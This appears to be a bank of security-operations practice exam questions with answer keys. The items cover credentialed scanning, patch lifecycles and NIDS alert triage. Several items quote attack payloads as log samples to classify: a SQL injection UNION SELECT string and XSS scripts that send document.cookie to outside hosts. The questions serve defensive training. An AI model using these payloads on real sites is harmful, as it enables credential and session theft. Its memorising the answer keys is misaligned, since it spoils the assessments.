Security Operations

627 questions

All types627 Multiple choice320 Multiple select139 Matching36 Ordering132

An enterprise security analyst discovers that recent vulnerability scan reports flag several Linux production servers as critical due to missing OS security updates. However, the system administration team provides logs showing that the vendor patches were installed two weeks ago. Further investigation reveals the scanner performed an unauthenticated remote scan relying solely on service banners exposed over open network ports. Which of the following actions should the analyst take to ensure the vulnerability scan accurately reflects the true patch status of the servers?

Configure credentialed scanning parameters to allow the scanner to verify installed packages directly from the local target operating system.

Deploy network-level inline intrusion prevention system rules to drop scanner probe packets targeting exposed service ports.

Update web application firewall filtering rules to strip database error responses and client-side script payloads from server banners.

Reclassify the vulnerability scanner as a compensating security control rather than a detective control in the asset management database.

Show answer & explanation

Answer: Configure credentialed scanning parameters to allow the scanner to verify installed packages directly from the local target operating system.

Answer

Configure credentialed scanning parameters to allow the scanner to verify installed packages directly from the local target operating system.

Unauthenticated vulnerability scans inspect exposed service banners, which frequently causes false positives when backported patches leave version banners unchanged. Configuring credentialed scanning allows the scanner to log into target systems and inspect local package manager records directly, ensuring accurate verification of installed updates.

Step-by-Step Solution

Analyze the cause of the reporting mismatch

Unauthenticated network scans rely on banner grabbing, which often reports false positives because patched services may retain their original version banners.

Identifying why the scanner generated inaccurate data is necessary to select the proper technical remediation.

Evaluate the capabilities of credentialed scanning

Credentialed scans log directly into the target system to examine local configuration files and package databases.

Authenticating to the host provides accurate data regarding whether patches have been applied.

Select the appropriate administrative configuration

Enabling credentialed scanning resolves banner-based false positives without disabling or suppressing scan checks.

This action provides the security team with accurate vulnerability metrics.

Key Concept

Credentialed vs. Unauthenticated Vulnerability Scanning

Question 542Question →

A security administrator is managing the remediation of a critical zero-day vulnerability affecting enterprise database servers. To ensure business continuity and adhere to organizational risk management policies, the administrator must execute the patch management lifecycle in a structured sequence. Arrange the operational steps below in the correct order from first to last.

Drag items to arrange them in the correct order

Show answer & explanation

Answer

The correct operational sequence is: (1) Analyze vendor advisories and test the patch in an isolated staging environment, (2) Submit a formal change management request for Change Advisory Board approval, (3) Apply the patch to production servers during an authorized maintenance window, and (4) Perform post-installation vulnerability scanning and baseline configuration auditing.

The standard enterprise patch management process dictates that security patches must first be tested and validated in a staging environment. Once validated, documentation and back-out plans are submitted for Change Advisory Board review. Following formal authorization, patches are deployed to production systems during designated maintenance windows, after which post-deployment scanning confirms vulnerability closure and baseline compliance.

Step-by-Step Solution

Validate patch functionality and stability in staging.

Identifies software conflicts and confirms patch effectiveness without risking production system uptime.

Security patches must be vetted in a non-production environment prior to enterprise change requests.

Obtain Change Advisory Board (CAB) review and operational approval.

Ensures stakeholder alignment, documents risk mitigation strategies, and authorizes execution details.

Enterprise change control protocol mandates formal review of testing evidence and back-out plans before production alterations.

Deploy the patch to production systems during scheduled maintenance windows.

Installs security fixes on live infrastructure while minimizing operational disruption to users.

Production changes should follow approved schedules to control operational risk.

Conduct post-deployment compliance verification and vulnerability scanning.

Confirms the flaw is successfully remediated and verifies that server configurations match established baselines.

Audit scanning closes the patch lifecycle by verifying technical control effectiveness.

Key Concept

Patch Management and Change Control Lifecycle Procedures

Question 543Question →

A security operations team is triaging high-priority alerts generated by a Network Intrusion Detection System (NIDS) placed between an enterprise web tier and an internal database subnet. The NIDS logs show multiple HTTP requests containing payload strings such as `UNION SELECT username, password_hash FROM user_credentials--`. Which of the following statements correctly interpret this network security monitoring alert and identify an appropriate remediation control? (Select TWO.)

Select all that apply

The alert indicates an attempted SQL injection attack targeting backend database storage.

The security team should implement input validation and configure web application firewall rules to filter malicious database syntax.

The alert represents a Cross-Site Scripting (XSS) attack designed to execute client-side scripts inside web browser sessions.

The security team should reconfigure internal honeypots to act as inline filtering devices to drop the malicious network packets.

Show answer & explanation

Answer: The alert indicates an attempted SQL injection attack targeting backend database storage.; The security team should implement input validation and configure web application firewall rules to filter malicious database syntax.

Answer

The alert accurately identifies a SQL injection attack targeting database infrastructure, and the appropriate response involves implementing web application filtering and input validation controls.

The NIDS log entry contains classic SQL command syntax ('UNION SELECT'), which signifies a SQL injection attempt aimed at extracting confidential database records. To remediate web application layer attacks like SQL injection, organizations must implement input validation, prepared statements, and Web Application Firewall (WAF) filtering to detect and block malicious database queries.

Step-by-Step Solution

Analyze the NIDS alert payload syntax

The string 'UNION SELECT... FROM...' matches relational database query syntax used in database data exfiltration attempts.

Recognizing command syntax in network alerts distinguishes SQL injection from client-side script execution.

Differentiate web application attack types

Identify the attack as server/database targeted (SQLi) rather than end-user browser targeted (XSS).

Proper threat classification ensures the application of correct defense controls.

Select effective technical mitigation controls

Apply application-layer security controls including WAF rules and parameterized database queries.

WAFs inspect layer 7 HTTP traffic to block SQL commands, addressing application-level vulnerability root causes.

Key Concept

Network Intrusion Alert Interpretation and Web Application Attack Remediation

Estimated Time:1m 30s

Question 544Question →

An organization must conduct scheduled external vulnerability assessments of its public-facing web applications to satisfy regulatory compliance. During previous unauthenticated scans, the perimeter web application firewall (WAF) repeatedly blocked the scanner's IP address, resulting in incomplete scan reports and false positives. Which scanning strategy should the security analyst implement to obtain comprehensive assessment results without disabling perimeter defenses for external traffic?

Perform authenticated application scanning using scanner source IP addresses whitelisted specifically on the WAF

Reconfigure the inline Intrusion Prevention System to operate in passive monitoring mode to identify web application flaws

Execute an aggressive, non-credentialed port scan using randomized source ports to overwhelm perimeter firewall logging

Analyze client-side web browser logs using static code analysis tools to detect database vulnerabilities on the backend server

Show answer & explanation

Answer: Perform authenticated application scanning using scanner source IP addresses whitelisted specifically on the WAF

Answer

Perform authenticated application scanning using scanner source IP addresses whitelisted specifically on the WAF

Whitelisting the dedicated vulnerability scanner's IP address on the WAF allows security probes to reach target applications without triggering defensive blocks. Combining this with authenticated access enables comprehensive assessment of application code and system configurations while keeping WAF protections fully enabled for untrusted external traffic.

Step-by-Step Solution

Identify the primary root cause of incomplete scanner results.

The perimeter WAF actively identifies scanner probes as attack traffic and blocks the scanner's source IP address.

Unauthenticated vulnerability probes mimic real-world attack traffic, triggering automated defensive rules.

Determine the appropriate configuration to allow legitimate scanner traffic.

Whitelisting the dedicated scanner's IP address on the WAF allows scan traffic through while keeping protection active for all other internet traffic.

Targeted IP exceptions permit authorized security testing without lowering baseline enterprise security.

Select the scan type that provides maximum accuracy and reduces false positives.

Executing an authenticated scan provides deep visibility into application states and internal patch levels.

Credentialed scans bypass superficial banner checks, reducing false positives and identifying complex vulnerabilities.

Key Concept

Credentialed Vulnerability Scanning and Defensive Control Whitelisting

Estimated Time:1m 30s

Question 545Question →

A security operations team is implementing an automated system for endpoint security baseline auditing and patch management across a hybrid enterprise environment. Which of the following operational practices should the security team deploy to maintain system stability while enforcing secure configuration baselines? (Select TWO.)

Select all that apply

Establish a pre-deployment testing environment to validate patch compatibility and configuration baselines before rollout.

Deploy network-level web application firewalls to automatically rewrite local operating system configuration files on non-compliant systems.

Implement continuous baseline drift detection to identify and remediate unauthorized system configuration changes.

Reclassify host configuration baseline auditing logs as physical security controls to meet regulatory compliance requirements.

Show answer & explanation

Answer: Establish a pre-deployment testing environment to validate patch compatibility and configuration baselines before rollout.; Implement continuous baseline drift detection to identify and remediate unauthorized system configuration changes.

Answer

The correct operational practices are establishing a pre-deployment testing environment to validate patch updates and configuration baselines prior to production deployment, and implementing continuous baseline drift detection to monitor and remediate unauthorized system modifications.

Establishing a pre-deployment staging environment ensures patches and baseline changes are tested for stability and compatibility prior to broad release. Implementing continuous configuration drift detection allows administrators to quickly detect and correct unauthorized deviations from established security baselines.

Step-by-Step Solution

Analyze operational requirements for patch and configuration management lifecycle.

Identified the need for safety verification prior to deployment and ongoing maintenance of compliance post-deployment.

Safe patch management requires testing prior to release, while configuration management requires continuous monitoring against drift.

Evaluate pre-deployment staging practice.

Staging environments allow security teams to catch system conflicts or regressions early.

Deploying untested patches directly to production risks operational outage.

Evaluate continuous drift detection practice.

Drift detection tools identify unauthorized changes away from approved security baselines.

Systems frequently drift due to manual edits or unauthorized software installations, compromising security posture.

Key Concept

Patch Staging and Configuration Drift Detection

Question 546Question →

A security analyst investigates a SIEM alert triggered by a Network Traffic Analysis (NTA) sensor monitoring an internal enterprise workstation subnet. The flow log snippet displays the following sequential network events:

Based on the network security monitoring logs, which of the following actions should the analyst take first to address this threat?

Reconfigure the NTA sensor to act as an inline honeypot that actively drops all TCP port 445 traffic across the workstation subnet.

Isolate host 10.0.4.15 from the network to contain automated lateral movement reconnaissance.

Update perimeter edge firewall rules to block inbound TCP port 445 traffic from external internet addresses.

Document the alert as a detective control functioning to automatically block password brute-force attempts.

Show answer & explanation

Answer: Isolate host 10.0.4.15 from the network to contain automated lateral movement reconnaissance.

Answer

Isolate host 10.0.4.15 from the network to contain automated lateral movement reconnaissance.

The flow logs show host 10.0.4.15 initiating rapid TCP SYN connection requests on port 445 (SMB) across consecutive destination IP addresses. This pattern represents an internal IP sweep, commonly used by compromised hosts during lateral movement to discover network shares and active hosts. The immediate priority in network security operations is isolating the compromised source host to contain potential worm or ransomware spread.

Step-by-Step Solution

Analyze the log flow entries for patterns in source IP, destination IP, port, and TCP flags.

Identified host 10.0.4.15 attempting sequential TCP SYN connections to port 445 across multiple internal targets (192.168.1.50-53) within one second.

Sequential port/service probing from a single internal source indicates automated network reconnaissance/horizontal IP sweeping for vulnerable SMB services.

Determine the appropriate incident response containment action based on network monitoring findings.

Host 10.0.4.15 must be isolated immediately to prevent further lateral scanning or infection spreading across the enterprise network.

Network isolation stops compromised internal assets from discovering and exploiting neighboring systems via SMB.

Key Concept

Network Reconnaissance and Incident Containment

Question 547Question →

A security operations team is establishing a standardized patch management workflow to ensure system security while minimizing operational disruption across the enterprise. Place the steps of the enterprise patch management lifecycle in the correct procedural sequence from initial identification to post-implementation audit.

Drag items to arrange them in the correct order

Show answer & explanation

Answer

The correct procedural sequence for the patch management lifecycle is: (1) Analyze vulnerability intelligence feeds and prioritize missing vendor updates based on asset criticality; (2) Apply and evaluate the updates within a non-production staging environment to verify system stability and application compatibility; (3) Submit a formal change request to the Change Advisory Board (CAB) including deployment risk assessments and rollback plans; (4) Execute a phased rollout of the updates across production systems during authorized maintenance windows; and (5) Perform automated security baseline auditing and vulnerability scanning to confirm successful remediation and drift prevention.

The standard patch management lifecycle follows a structured progression: vulnerability identification and prioritization must occur first, followed by pre-deployment testing in staging to ensure stability. Once validated, formal approval from the Change Advisory Board (CAB) is sought with a documented rollback plan. Production deployment is then executed in a phased manner during scheduled maintenance windows, ending with post-patch auditing and baseline verification to confirm vulnerability remediation.

Step-by-Step Solution

Identify and prioritize patch requirements

Assets requiring updates are cataloged according to vulnerability severity and business impact.

Security operations must first assess incoming threats and asset inventory to prioritize remediation efforts effectively.

Conduct staging and compatibility testing

Updates are tested in an environment duplicating production configuration without risking live operations.

Pre-deployment testing identifies application dependencies, performance impacts, or instabilities caused by the patch.

Obtain Change Advisory Board approval

Change request is reviewed, scheduled, and authorized with explicit rollback procedures established.

Enterprise governance requires documented change authorization to minimize unannounced maintenance outages.

Deploy to production systems

Patches are distributed to live environments using staged, canary, or phased maintenance windows.

Phased execution limits blast radius and ensures controlled delivery across operational infrastructure.

Validate posture and configuration baselines

Vulnerability scans confirm patch application and ensure configuration baselines have not drifted.

Verification confirms patch success and prevents posture regression or configuration drift.

Key Concept

Enterprise Patch Management Lifecycle

Question 548Question →

A security engineer is planning a vulnerability assessment for an enterprise network segment containing legacy operational technology (OT) devices. These endpoints are highly sensitive to network traffic volume and frequently crash when subjected to active service probing or rapid port sweeps. The engineer must obtain a detailed inventory of missing security patches and system misconfigurations without causing service outages or operational downtime. Which of the following approaches should the engineer implement?

Deploy host-based scanning agents on the target endpoints to gather internal patch and configuration data locally.

Implement an inline intrusion prevention system to perform automated vulnerability detection on transit network traffic.

Configure web application firewall rules to inspect and sanitize incoming database payloads on the target segment.

Schedule an unauthenticated network vulnerability scan using maximum packet rate intensity during off-peak hours.

Show answer & explanation

Answer: Deploy host-based scanning agents on the target endpoints to gather internal patch and configuration data locally.

Answer

Deploying host-based scanning agents on the target endpoints to gather internal patch and configuration data locally.

Host-based vulnerability scanning agents run directly on the target operating system to inventory missing security patches, software versions, and local misconfigurations internally. Because agents gather data via local system calls rather than sending network probes across the wire, they eliminate the risk of network traffic spikes or port scan probes crashing fragile legacy OT systems.

Step-by-Step Solution

Analyze system constraints and environmental risks.

Identified legacy OT devices sensitive to network traffic spikes and active port probes.

Active network scanning can trigger stack overflows or service failures on legacy embedded devices.

Evaluate vulnerability scanning methodologies.

Host-based agent scanning executes locally on the operating system using minimal native resources.

Local agent data collection eliminates active network probes, meeting both visibility and stability requirements.

Select the optimal scanning approach.

Host-based agent deployment provides comprehensive patch and config audit without network impact.

Agents collect detailed local system state safely without overwhelming fragile network interfaces.

Key Concept

Agent-Based vs. Network-Based Vulnerability Scanning

Estimated Time:1m 30s

Question 549Question →

A security operations manager is updating operational procedures for vulnerability assessments across an enterprise network. Match each assessment methodology with the scenario where it is most appropriately applied.

Click a left item, then click its matching right item

Show answer & explanation

Answer

Credentialed vulnerability scanning matches host internal auditing for missing patches. Non-credentialed scanning matches external adversary perspective mapping. Passive network assessment matches non-disruptive device identification on sensitive operational technology networks. Intrusive testing matches active exploitation of vulnerabilities to verify real-world impact.

Each matching pair correctly aligns the specific vulnerability scanning or testing technique with its primary use case: Credentialed scans provide deep host visibility; Non-credentialed scans simulate external attack surfaces; Passive assessments safeguard fragile SCADA/ICS environments; and Intrusive penetration testing validates exploitation potential.

Step-by-Step Solution

Analyze each operational requirement to determine authentication, network impact, and safety constraints.

Identify that host patch audits require host privileges, external reconnaissance requires unauthenticated probes, sensitive legacy OT requires zero injected traffic, and impact validation requires active exploitation.

Vulnerability assessment techniques vary primarily by authorization level (credentialed vs unauthenticated), traffic interaction (active vs passive), and operational risk (intrusive vs non-intrusive).

Pair credentialed and non-credentialed techniques with host-based and perimeter-based scenarios respectively.

Assign credentialed scan to host configuration/patch audits, and non-credentialed scan to perimeter service mapping.

Credentials allow host registry and package manager queries, whereas non-credentialed scans rely strictly on network service responses.

Distinguish between passive network monitoring and intrusive penetration testing based on target sensitivity and operational goal.

Assign passive assessment to fragile ICS/SCADA networks and intrusive testing to staging environment exploitation.

Passive tools capture existing packet streams safely without causing denial of service on fragile devices, while intrusive tools actively attempt exploitation.

Key Concept

Vulnerability Assessment Methodologies and Selection Criteria

Question 550Question →

An enterprise security analyst discovers that routine software vendor patches regularly overwrite customized security hardening settings on production Linux servers, resetting critical system configurations to insecure defaults. Which of the following patch and configuration management solutions best prevents configuration drift while ensuring ongoing security baseline compliance after patch deployment?

Deploying an automated configuration management tool with scheduled enforcement playbooks

Installing a network intrusion prevention system (NIPS) to detect unauthorized configuration changes in real time

Scheduling post-patch manual vulnerability assessments to review system configurations quarterly

Configuring file system access permissions to deny read-write access to the root service account

Show answer & explanation

Answer: Deploying an automated configuration management tool with scheduled enforcement playbooks

Answer

Deploying an automated configuration management tool with scheduled enforcement playbooks

Automated configuration management platforms utilize infrastructure code or playbooks to continuously audit system configurations and automatically re-enforce security baselines whenever a patch or administrator alters setting parameters.

Step-by-Step Solution

Analyze the technical problem

Vendor software patches overwrite local system hardening settings, creating security non-compliance and configuration drift.

Security hardening baselines must be maintained continuously without interrupting legitimate software updates.

Evaluate remediation strategies

Declarative automated configuration management continuously validates host configurations against defined security baselines.

Automated enforcement playbooks ensure system settings automatically revert to the baseline immediately following patch installations.

Key Concept

Configuration Baseline Enforcement and Drift Remediation

Estimated Time:1m 15s

Question 551Question →

While analyzing alerts from a network intrusion detection system (NIDS) monitoring outbound perimeter traffic, a security administrator notices an alert flagged as a high-severity SQL injection payload against an enterprise web application server. The packet log payload reads:

`GET /comment.php?id=101&data=<script>document.location='http://192.0.2.55/collect?cookie='+document.cookie</script> HTTP/1.1`

Which of the following represents the most accurate evaluation of this network alert?

The NIDS signature misclassified the alert; the packet payload indicates a Cross-Site Scripting (XSS) attack vector rather than a SQL injection attempt.

The alert correctly identifies a SQL injection attack attempting to query and extract administrative session tokens directly from the database server.

The network administrator should immediately configure a stateful perimeter firewall rule to remediate the web application's underlying code vulnerability.

The passive NIDS sensor functioned as a corrective control by automatically stripping the malicious script payload prior to transmission.

Show answer & explanation

Answer: The NIDS signature misclassified the alert; the packet payload indicates a Cross-Site Scripting (XSS) attack vector rather than a SQL injection attempt.

Answer

The NIDS alert mislabeled the attack signature; the logged payload represents a Cross-Site Scripting (XSS) attack designed for client-side script execution, not a SQL injection database attack.

Analyzing the raw payload string reveals `<script>` tags designed to extract `document.cookie` and send it to an external server (`192.0.2.55`). This is a classic Cross-Site Scripting (XSS) payload intended for execution in a web browser. The NIDS alert mislabeled the threat as SQL injection, highlighting the need for analysts to manually inspect payload logs.

Step-by-Step Solution

Inspect the captured network log payload for key indicators

Identified HTML `<script>` tags and `document.cookie` DOM references in the HTTP GET request.

Script tags and DOM manipulation elements indicate client-side script execution typical of XSS.

Distinguish between XSS and SQL injection attack signatures

Determined that SQL injection relies on database syntax (such as `UNION`, `SELECT`, `OR 1=1`), which is absent here.

Signature evaluation requires recognizing the target interpreter (web browser client vs SQL database server).

Assess NIDS alert classification accuracy

Concluded that the alert generated by the NIDS was a misclassified rule trigger.

NIDS signature definitions can misfire or apply generic labels, requiring analyst payload inspection for accurate categorization.

Key Concept

Log Payload Analysis & NIDS Alert Validation

Question 552Question →

A Security Operations Center (SOC) receives an automated alert generated by a Network Intrusion Prevention System (NIPS) detecting an remote code execution (RCE) payload targeted at an internal API server. In what chronological sequence should a security analyst perform the initial response actions from alert ingestion through recovery?

Drag items to arrange them in the correct order

Show answer & explanation

Answer

The correct operational sequence is: 1) Initial NIPS detection and alert generation, 2) SIEM log correlation and alert verification, 3) Host isolation for network containment, 4) Deep PCAP and forensic artifact investigation, and 5) Vulnerability patching and system restoration.

In standard network security operations, alert handling follows a structured sequence: Detection (NIPS alert), Identification/Correlation (SIEM log verification), Containment (host isolation), Forensics/Analysis (PCAP and artifact review), and Eradication/Recovery (patching and system restoration).

Step-by-Step Solution

Identify the alert trigger

The NIPS flags suspicious inbound API traffic and generates a security event.

Security monitoring systems must first capture anomalies and alert security personnel.

Triage and correlate logs

SIEM correlation confirms a true positive event targeting an active API endpoint.

Analysts must validate alerts against contextual log data to rule out false positives.

Execute containment

The target API server is segmented/isolated from the corporate network.

Preventing lateral movement takes operational precedence over deep technical investigation.

Perform forensic investigation

PCAP analysis and host memory extraction reveal scope and indicators of compromise.

Forensic data capture determines whether payload execution was successful and what data was accessed.

Eradicate and restore

The application flaw is remediated and the host is restored safely to service.

Remediation prevents re-infection upon bringing systems back online.

Key Concept

Network Alert Triage and Incident Response Lifecycle

Question 553Question →

A security team is experiencing severe performance degradation on production database servers whenever network-based vulnerability scans occur. The team must maintain comprehensive vulnerability visibility while eliminating operational disruption to high-traffic database services. Which of the following strategies should the security team implement to resolve this issue? (Select TWO.)

Select all that apply

Configure scan rate limits and throttle packet transmission speeds on the vulnerability scanner targeting production database subnets.

Deploy host-based vulnerability scanning agents on the database servers to collect local security metadata directly.

Configure an inline network intrusion prevention system (NIPS) to automatically drop vulnerability scanner traffic when database load exceeds thresholds.

Switch to unauthenticated network port sweeps during peak operational hours to eliminate host authentication processing overhead.

Show answer & explanation

Answer: Configure scan rate limits and throttle packet transmission speeds on the vulnerability scanner targeting production database subnets.; Deploy host-based vulnerability scanning agents on the database servers to collect local security metadata directly.

Answer

The security team should configure scan rate limits on network scanners and deploy host-based scanning agents on database servers.

Configuring scan rate limiting reduces the frequency and density of network probes sent to production systems, preventing socket exhaustion and high CPU spikes. Concurrently, deploying host-based agents allows local inventory and vulnerability evaluation without relying on heavy network-based probing, achieving low-overhead auditing.

Step-by-Step Solution

Analyze the operational issue causing database performance degradation.

Aggressive network port sweeps and concurrent connection attempts overload production host sockets and CPU resources.

Identifying the root cause distinguishes network scanning load from local database processing overhead.

Evaluate remediation techniques that reduce scan impact while maintaining visibility.

Throttling scanner packet rates prevents network flooding, and host-based agents run efficiently as background OS processes without network-intensive probing.

Combining rate limiting and agent-based auditing provides thorough vulnerability coverage without interrupting service availability.

Key Concept

Vulnerability Scanner Performance Optimization and Agent vs. Network-based Scanning

Question 554Question →

An enterprise application runs in a cloud environment using containerized microservices operating under an immutable infrastructure deployment model. A vulnerability scan detects a critical remote code execution vulnerability within a software library contained inside several active production containers. Which of the following patch and configuration management practices should the security team perform to resolve the vulnerability?

Execute automated package manager update scripts directly on live containers to install the updated library without stopping active instances.

Update the base container image with the patched library, validate the build in a testing pipeline, and redeploy new container instances to replace the vulnerable ones.

Deploy network perimeter firewall blocks targeting the container host nodes until the cloud provider patches the hypervisor firmware.

Implement a mandatory security policy restricting developers from reviewing container log files until the vulnerability is addressed.

Show answer & explanation

Answer: Update the base container image with the patched library, validate the build in a testing pipeline, and redeploy new container instances to replace the vulnerable ones.

Answer

Update the base container image with the patched library, validate the build in a testing pipeline, and redeploy new container instances to replace the vulnerable ones.

In an immutable infrastructure deployment model, running components (such as containers or virtual machine instances) are never patched or modified directly in production. When a security update or patch is required, the baseline source image (e.g., container image specification) is updated with the new library version, validated in a staging or CI/CD environment, and then used to deploy fresh instances while decommissioning the old, vulnerable ones. This eliminates configuration drift and ensures consistency across environments.

Step-by-Step Solution

Identify the core deployment architecture model.

The infrastructure is designated as immutable, meaning running instances are never modified in place.

Configuration changes and updates in immutable environments must follow a build-test-deploy lifecycle via images.

Select the appropriate patch management workflow for containerized images.

Modify the base container image file (e.g., Dockerfile) to reference the patched dependency version.

This guarantees that all future deployments inherit the correct security posture consistently.

Test and swap running instances.

Pass the updated image through automated staging tests and terminate vulnerable production containers while deploying new instances.

Ensures zero configuration drift and remediates the vulnerability cleanly.

Key Concept

Immutable Infrastructure Patching

Estimated Time:1m 15s

Question 555Question →

An enterprise Security Operations Center (SOC) analyst is reviewing network security monitoring alerts and NetFlow records for an internal workstation. The monitoring tools report suspicious outbound protocol activity originating from the host. Which of the following network security monitoring findings specifically indicate that DNS tunneling is being utilized for data exfiltration? (Select TWO).

Select all that apply

A high volume of DNS TXT record queries containing high-entropy, encoded strings directed to an external authoritative name server

A significant increase in outbound payload data volume transmitted over UDP port 53 compared to established network baselines

Outbound HTTP GET requests containing SQL command syntax such as UNION SELECT targeted at external web servers

Implementation of an inline perimeter firewall policy blocking all inbound TCP port 80 web traffic across DMZ segments

Show answer & explanation

Answer: A high volume of DNS TXT record queries containing high-entropy, encoded strings directed to an external authoritative name server; A significant increase in outbound payload data volume transmitted over UDP port 53 compared to established network baselines

Answer

The network monitoring findings that indicate DNS tunneling for data exfiltration are a high volume of DNS TXT record queries containing high-entropy encoded strings directed to an external authoritative name server, and a significant increase in outbound payload data volume transmitted over UDP port 53 compared to established network baselines.

DNS tunneling abuses standard domain name resolution traffic to exfiltrate sensitive data or maintain covert communications. Network security monitoring tools identify this technique by detecting abnormally large outbound payload transfers on UDP port 53 and uncovering repeated DNS TXT requests containing long, high-entropy encoded subdomains destined for untrusted external name servers.

Step-by-Step Solution

Analyze network protocol traffic volume against baseline metrics.

Identify anomalous outbound byte counts originating on UDP port 53.

Standard DNS queries are small in size; a large outbound byte transfer over port 53 indicates data payload encapsulation.

Inspect packet payloads and query record types within DNS monitoring logs.

Detect encoded high-entropy subdomain strings in TXT queries sent to external name servers.

Attackers structure exfiltrated data into subdomains resolved by attacker-controlled authoritative name servers to bypass standard egress filtering.

Key Concept

Detecting DNS tunneling and data exfiltration indicators using network security monitoring analysis

Question 556Question →

A security analyst is triaging alerts from a Network Intrusion Detection System (NIDS) monitoring incoming web traffic to an internal app server. The NIDS sensor triggered an automated alert categorized as 'Database Manipulation Attempt' after capturing the following HTTP request payload:

`GET /catalog/product.php?id=%3Cscript%3Efetch%28%27http%3A%2F%2Fattacker.com%2Fsteal%3Fcookie%3D%27%2Bdocument.cookie%29%3C%2Fscript%3E HTTP/1.1`
`Host: store.internal.net`

Upon reviewing the log payload, which of the following correctly identifies the actual threat vector present in the capture and the most appropriate remediation measure?

Cross-Site Scripting (XSS); implement input validation and context-aware output encoding on the application.

SQL Injection (SQLi); implement parameterized database queries and prepared statements on the backend database.

Cross-Site Scripting (XSS); update network boundary firewall ACLs to block all outbound HTTP connections from the web server.

Cross-Site Scripting (XSS); deploy a network honeypot inline to actively drop client-side malicious script packets in transit.

Show answer & explanation

Answer: Cross-Site Scripting (XSS); implement input validation and context-aware output encoding on the application.

Answer

Cross-Site Scripting (XSS); implement input validation and context-aware output encoding on the application.

The captured payload features URL-encoded HTML script tags (`%3Cscript%3E...%3C%2Fscript%3E`) attempting to exfiltrate session data stored in `document.cookie`. This is a classic indicator of Cross-Site Scripting (XSS). The primary mitigation for XSS is securing the application logic using robust input validation and output encoding.

Step-by-Step Solution

Analyze the packet payload in the NIDS alert

The URL parameter contains URL-encoded HTML tags and client-side JavaScript (`<script>fetch(...document.cookie)</script>`).

Examining the raw payload reveals the true attack pattern rather than relying solely on automated rule labels.

Distinguish between web application attack types

The presence of client-side script execution targeting session cookies confirms Cross-Site Scripting (XSS), not SQL Injection.

SQL injection involves database query manipulation syntax (e.g., `SELECT`, `' OR 1=1`), whereas XSS targets client browser execution.

Determine the effective root-cause remediation control

Sanitizing input and encoding output at the application layer neutralizes script execution attempts.

Remediating vulnerable application code addresses the root cause directly, whereas network-level blocking or honeypots fail to secure the code flaw.

Key Concept

Log Payload Analysis & Security Control Selection

Question 557Question →

A security analyst managing legacy workstation endpoints in a healthcare facility needs to remediate a critical operating system vulnerability. Vendor patches frequently reset customized local security policies back to default settings, exposing the devices to unauthorized access. Which of the following approaches best maintains system security baselines while ensuring timely vulnerability remediation?

Validate vendor updates in a mirrored staging environment, document configuration baseline variations, and deploy updates via standard change management procedures.

Deploy network perimeter firewall blocks on affected ports as a permanent substitute for installing the operating system software patches.

Reclassify patch management procedures as detective security controls so automated system logging can restore security baselines.

Immediately push vendor patches to all live production endpoints during operational hours to minimize the attack window.

Show answer & explanation

Answer: Validate vendor updates in a mirrored staging environment, document configuration baseline variations, and deploy updates via standard change management procedures.

Answer

Validate vendor updates in a mirrored staging environment, document configuration baseline variations, and deploy updates via standard change management procedures.

Testing patches within a mirrored staging environment ensures that any configuration baseline overrides caused by vendor updates are identified and corrected prior to production deployment.

Step-by-Step Solution

Analyze the security and operational risk

Identified that applying vendor patches directly causes configuration drift by overwriting custom security hardening settings.

Production environments require both vulnerability mitigation and strict adherence to security configuration baselines.

Evaluate remediation strategies

Staging environments allow security teams to observe patch behavior and baseline changes without impacting live systems.

Staging validation identifies baseline regressions early so post-patch configuration scripts can be prepared prior to live deployment.

Key Concept

Patch and Configuration Baseline Auditing in Change Management

Estimated Time:1m 30s

Question 558Question →

A security analyst is establishing a comprehensive vulnerability scanning framework for an enterprise network containing diverse operational environments. Match each vulnerability assessment requirement on the left with the scanner deployment methodology or configuration option on the right that best satisfies it.

Click a left item, then click its matching right item

Show answer & explanation

Answer

Evaluating public-facing web applications behind a WAF matches with Scanner IP address whitelisting. Auditing internal configurations across remote endpoints with minimal bandwidth matches with Credentialed agent-based scanning deployment. Assessing sensitive legacy OT/SCADA networks without causing instability matches with Passive network listening and traffic monitoring. Simulating an initial external reconnaissance phase by an untrusted attacker matches with Non-credentialed network-based perimeter scanning.

Each scanner deployment method directly addresses distinct environmental constraints: WAF IP whitelisting prevents scan interference on web applications; agent-based scanning minimizes network overhead and provides deep host visibility; passive monitoring protects legacy OT/SCADA devices from crash risks caused by active probes; and non-credentialed external scanning provides a realistic view of perimeter exposure from an attacker's perspective.

Step-by-Step Solution

Analyze the web application security assessment requirement behind a WAF.

Inline WAF security controls drop or alter aggressive scanner payloads, producing incomplete scan results. Configured IP whitelisting bypasses blocking rules for legitimate scan traffic.

Security controls like WAFs must be informed of security testing to prevent false negatives caused by active payload blocking.

Identify the optimal scanning mechanism for remote endpoints and low-bandwidth constraints.

Agent-based scanners execute locally on the operating system, collecting inventory and patch state directly without streaming network port probes.

Agent architectures offload scanning execution to local system processes and transfer only compressed result manifests.

Select the appropriate technique for fragile, high-availability OT/SCADA environments.

Passive traffic monitoring analyzes network packets non-intrusively, identifying OS versions and known vulnerabilities without sending active probes.

Legacy industrial controllers frequently fault or crash when receiving unexpected or malformed TCP/IP probes generated by active vulnerability scanners.

Determine the methodology for simulating external threat actor perspectives.

Non-credentialed external scans inspect perimeter targets without system privileges, revealing exposed services and unpatched vulnerabilities accessible from the internet.

An unauthenticated remote attack simulation requires scanning from an external network segment without supplying valid host login credentials.

Key Concept

Vulnerability Scanner Deployment Methodologies and Operational Impact

Estimated Time:2m 0s

Question 559Question →

A Security Operations Center (SOC) analyst receives a high-priority alert from a Network Intrusion Detection System (NIDS) indicating suspicious outbound traffic from an internal enterprise workstation. Place the following analyst triage and incident response steps in the correct sequence, from initial alert evaluation to containment.

Drag items to arrange them in the correct order

Show answer & explanation

Answer

The correct sequence starts with inspecting the NIDS alert metadata in the SIEM, followed by querying NetFlow and PCAP telemetry records, cross-referencing destination indicators against threat intelligence feeds, and concluding with confirming the true positive alert and isolating the affected host.

Effective network security alert triage proceeds systematically from alert identification and SIEM evaluation, to telemetry deep-dive (NetFlow/PCAP analysis), threat intelligence enrichment, and finally root-cause confirmation leading to host containment.

Step-by-Step Solution

Review initial SIEM alert details

Identified source workstation, destination IP, and specific NIDS signature.

Initial alert validation establishes baseline context before performing deeper queries.

Analyze supporting network telemetry (NetFlow/PCAP)

Detailed flow volume, session frequency, and packet characteristics gathered.

Telemetry logs confirm whether network traffic matched actual transmission patterns or was a false alarm.

Perform threat intelligence lookup

Destination IP confirmed to be associated with known botnet infrastructure.

Enriching local traffic data with global threat intelligence verifies malicious indicator severity.

Execute host containment

Workstation isolated from the network segment.

Immediate containment halts potential data exfiltration and lateral movement across the enterprise.

Key Concept

